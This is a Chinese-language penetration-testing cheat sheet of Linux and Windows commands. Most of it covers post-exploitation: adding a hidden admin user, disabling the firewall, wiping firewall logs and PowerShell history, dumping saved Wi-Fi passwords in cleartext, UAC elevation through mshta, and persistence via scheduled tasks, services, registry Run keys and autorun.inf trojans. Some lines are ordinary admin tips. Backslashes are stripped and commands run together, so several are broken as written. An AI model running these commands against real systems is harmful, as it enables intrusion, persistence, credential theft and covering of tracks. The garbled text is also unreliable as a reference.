渗透测试基础杂识

fuser -k /dev/pts/2

# Debian 系统vim /etc/environmenthttp_proxy="http://127.0.0.1:8087"https_proxy="http://127.0.0.1:8087"source /etc/environment

find / -perm -u=s -type -f 2>/dev/nullfind / -perm /4000 2>/dev/nullfind / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;

find / -perm /2000 2>/dev/null

find / -perm /6000 2>/dev/null

find / -group adm 2>/dev/null | xargs grep "password"

# 添加保护属性，无法直接通过rm命令删除chattr +i flag.txt# 删除保护属性chattr -i flag.txt

# 查看谁正在使用某个文件lsof 文件名# 查看端口22现在的运行情况losf -i 22# 列出进程号为12的进程打开了哪些文件lsof -p 12# 查看所属root用户进程所打开的文件类型为txt的文件lsof -a -u root -d txt# 查看java程序在哪些端口开启了监听lsof -i -P | grep LISTEN |grep java

/etc/profile/root/.bash_profile/etc/bashrc/root/.bashrc/etc/profile.d/*.sh/etc/profile.d/lang.sh/etc/sysconfig/i18n/etc/rc.local（/etc/rc.d/rc.local）/etc/rc.d/

#!/bin/sh                          告诉系统使用的shell,所有的shell脚本都是这样#chkconfig: 35 20 80               分别代表运行级别，启动优先权，关闭优先权，此行代码必须#description: http server          自己随便发挥！！！，此行代码必须/bin/echo $(/bin/date +%F_%T) >> /tmp/test.log

# 添加开机启动chkconfig --add test.shchkconfig test.sh on# 关闭chkconfig test.sh off# 删除chkconfig --del test.sh

# 结束终端命令将会终止./test.sh &# 结束终端命令不会终止nohup ./test.sh &

# 显示当前所有的screen作业screen -ls# 创建Screen作业名称screen -S windowname# 运行程序python xx.py# 暂时断开会话,但所有任务都依然执行Ctrl+A，D# 关闭当前终端，任务停止Ctrl+A，K# 恢复离线的screen作业screen -r windowname

# utf8编码chcp 65001# gbk编码chcp 936

dir /s /b temp

whoami & net user

环境变量                     与对应的路径%ALLUSERSPROFILE%             C:ProgramData%APPDATA%                     C:Users用户名AppDataRoaming%COMMONPROGRAMFILES%         C:Program FilesCommon Files%COMMONPROGRAMFILES(x86)%     C:Program Files (x86)Common Files%COMSPEC%                     C:WindowsSystem32cmd.exe%HOMEDRIVE%或%SystemDrive%   C:%HOMEPATH%                   C:Users用户名%LOCALAPPDATA%               C:Users用户名AppDataLocal%PROGRAMDATA%                 C:ProgramData%PROGRAMFILES%               C:Program Files%PROGRAMFILES(X86)%          C:Program Files (x86)%PUBLIC%                     C:UsersPublic%SystemRoot%                 C:Windows%TEMP%或%TMP%                 C:Users用户名AppDataLocalTemp%USERPROFILE%                 C:Users用户名%WINDIR%                     C:Window

# 关闭netsh firewall set opmode mode=disable# 开启netsh firewall set opmode mode=enable# 查看配置netsh advfirewall firewall show rule name=all# 添加例外端口netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow# 删除例外端口netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080# 添加例外程序netsh advfirewall firewall add rule name="f.exe" dir=in program="e:f.exe" action=allow# 删除防火墙日志del C:WindowsSystem32LogFilesFirewallpfirewall.log# 禁用网卡netsh interface set interface "本地连接"disabled# 启用网卡netsh interface set interface "本地连接" enabled# 放行80端口netsh advfirewall firewall add rule name="www" dir=in protocol=tcp localport=80 action=allow

# 打开远程桌面服务net start "Remote Desktop Configuration"net start "Remote Desktop Services"net start "Remote Desktop Services UserMode Port Redirector"# 通过注册表打开1、REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f2、wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

# 开启445端口服务net start lanmanserver# 开启135端口服务net start rpcss

net user hacker 123456 /addnet localgroup Administrators hacker /add

# 开机启动项目录C:/Documents and Settings/Owner/「开始」菜单/程序/启动C:/Documents and Settings/User/「开始」菜单/程序/启动
# 当前用户有效C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup%APPDATA%MicrosoftWindowsStart MenuProgramsStartup# 所有用户有效C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp%programdata%MicrosoftWindowsStart MenuProgramsStartup
# 通过注册表设置开机启动项 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows NT/CurrentVersion/Winlogon/HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/HKEY_LOCAL_MACHINE/System/ControlSet001/Session Manager/BootExecuteHKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Control/Session Manager/BootExecuteHKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Group Policy Objects/本地User/Software/Microsoft/windows /CurrentVersion/Policies/ Explorer/RunHKLM/Software/Microsoft/windows /CurrentVersion/Explorer/Browser Helper Objects/HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/windows /AppInit_DLLsHKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows NT/CurrentVersion/Winlogon/NotifyHKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows /CurrentVersion/RunOnceExHKEY_LOCAL_MACHINE/Software/Microsoft/windows /CurrentVersion/RunServicesOnce/HKEY_LOCAL_MACHINE/Software/Microsoft/windows /CurrentVersion/RunServices/HKEY_CURRENT_USER/Software/Microsoft/windows /CurrentVersion/RunOnce/Setup/HKEY_USERS/.Default/Software/Microsoft/windows /CurrentVersion/Run/HKEY_USERS/.Default/Software/Microsoft/windows /CurrentVersion/RunOnce/HKEY_LOCAL_MACHINE/Software/Microsoft/Active Setup/Installed Components/HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/VxD/HKEY_CURRENT_USER/Control Panel/DesktopHKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Session ManagerHKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/HKEY_LOCAL_MACHINE/Software/Microsoft/windows NT/CurrentVersion/Winlogon/UserinitHKEY_CURRENT_USER/Software/Microsoft/Windows NT/CurrentVersion/windows /runHKEY_LOCAL_MACHINE/Software/Microsoft/windows /CurrentVersion/ShellServiceObjectDelayLoad/HKEY_CURRENT_USER/Software/Microsoft/Windows NT/CurrentVersion/windows /loadHKEY_CURRENT_USER/Software/Microsoft/windows /CurrentVersion/Policies/Explorer/run/HKEY_LOCAL_MACHINE/Software/Microsoft/windows /CurrentVersion/Policies/Explorer/run/HKLM/SOFTWARE/Classes/Protocols/FilterHKLM/SOFTWARE/Classes/Protocols/HandlerHKLM/SOFTWARE/Microsoft/Active Setup/Installed ComponentsHKLM/SOFTWARE/Microsoft/windows /CurrentVersion/Explorer/SharedTaskSchedulerHKLM/SOFTWARE/Microsoft/windows /CurrentVersion/ShellServiceObjectDelayLoadHKLM/Software/Microsoft/windows /CurrentVersion/Explorer/ShellExecuteHooksHKLM/Software/Microsoft/windows /CurrentVersion/Shell Extensions/ApprovedHKLM/Software/Classes/Folder/Shellex/ColumnHandlersHKCU/Software/Microsoft/Internet Explorer/UrlSearchHooksHKLM/Software/Microsoft/Internet Explorer/ToolbarHKLM/Software/Microsoft/Internet Explorer/ExtensionsHKLM/System/CurrentControlSet/Control/Session Manager/BootExecuteHKLM/Software/Microsoft/windows NT/CurrentVersion/Image File Execution OptionsHKLM/System/CurrentControlSet/Control/Session Manager/KnownDllsHKLM/SOFTWARE/Microsoft/windows NT/CurrentVersion/Winlogon/UIHostHKLM/SOFTWARE/Microsoft/windows NT/CurrentVersion/Winlogon/NotifyHKCU/Control Panel/Desktop/Scrnsave.exeHKLM/System/CurrentControlSet/Services/WinSock/Parameters/Protocol_Catalog9HKLM/SYSTEM/CurrentControlSet/Control/Print/MonitorsHKLM/SYSTEM/CurrentControlSet/Control/Lsa/Authentication PackagesHKLM/SYSTEM/CurrentControlSet/Control/Lsa/Notification PackagesHKLM/SYSTEM/CurrentControlSet/Control/Lsa/Security Packages

[windows ]load=xxx.exe[这 种方法文件 会在后台运行]run=xxx.exe[这 种方法文件 会在默认状态下被运行]

默认为:[boot]Shell=Explorer.exe [Explorer.exe是Windows程序管理器或者windows 资源管理器,属于正常]可 启动文件 后为:[boot]Shell= Explorer.exe xxx.exe [现在许多病毒会采用此启动方式,随着Explorer启动, 隐蔽性很好]注意: SYSTEM.INI和WIN.INI文件不同,SYSTEM.INI的启动只能启动一个指定文件 ,不要把 Shell=Explorer.exe xxx.exe换为Shell=xxx.exe,这样会使windows 瘫痪!

WinInit即为Windows Setup Initialization Utility, 中文:windows 安装初始化工具 .它会在系 统装载windows 之前让系统执行一些命令，包括复 制，删除，重命名等，以完成更新文件 的目的.文件 格 式:[rename]xxx1=xxx2意思是把xxx2文件复制为文件名为xxx1的文件，相当于覆盖xxx1文件如 果要把某文件 删除,则可以用以下命令:[rename]nul=xxx2以 上文件 名都必须包含完整路径.

这是系统启动的批处理 文件,主要用来复制和删除文件 . 如一些软件卸载后会剩余一些残留物在系统,这时它的作用就来了.如：“@if exist C:/WINDOWS/TEMPxxxx.BAT call C:/windows /TEMPxxxx.BAT”这 里是执行xxxx.BAT文件 的意思

Autorun.inf这个文件出现于光盘加载的时候,放入光盘时,光驱会根据这个文件内容来确定是否打开光盘里面的内容.Autorun.inf的内容通常是：[AUTORUN]OPEN=文件名.exeICON=icon(图标文件).ico1.如一个木马,为xxx.exe.那么Autorun.inf则可以如下:ōPEN=Windowsxxx.exeICON=xxx.exe这时,每次双击C盘的时候就可以运行木马xxx.exe.
2.如把Autorun.inf放入C盘根目录里,则里面内容为:ōPEN=D:xxx.exeICON=xxx.exe这时,双击C盘则可以运行D盘的xxx.exe

set ws=WScript.CreateObject("WScript.Shell")ws.Run "d:yy.bat",0另存为vbs文件即可，其中d:yy.bat是你需要运行的bat文件的路径。

#把192.168.204.132的8000端口映射到本机的80端口，访问本机80端口的数据都会被转发到192.168.204.132:8080netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=80 connectaddress=192.168.204.132 connectport=8000# 查看ipv4到ipv4的端口映射netsh interface portproxy show v4tov4# 删除添加到端口映射netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=80

%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit

# 查看图形化：taskschd.msc命令行：schtasks# 添加计划任务schtasks /create /sc minute /tn "hacker" /ru system /tr calc.exeschtasks /create /sc minute /tn "hacker" /ru %username% /tr calc.exe# 删除schtasks /delete /tn "hacker"

# 添加服务名为hacker的服务sc create hacker binPath= D:testtest.exe start= auto# 删除服务sc delete hacker

# 关联文件后缀assoc .abc=batfile# 删除关联assoc .abc=HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts

cipher/w:D:tools

del C:UsersAdministratorAppDataRoamingMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

# 压缩compactmakecab c:jbossbin1.dmp  1.zip# 解压缩expand

runas /user:Win-200administrator cmd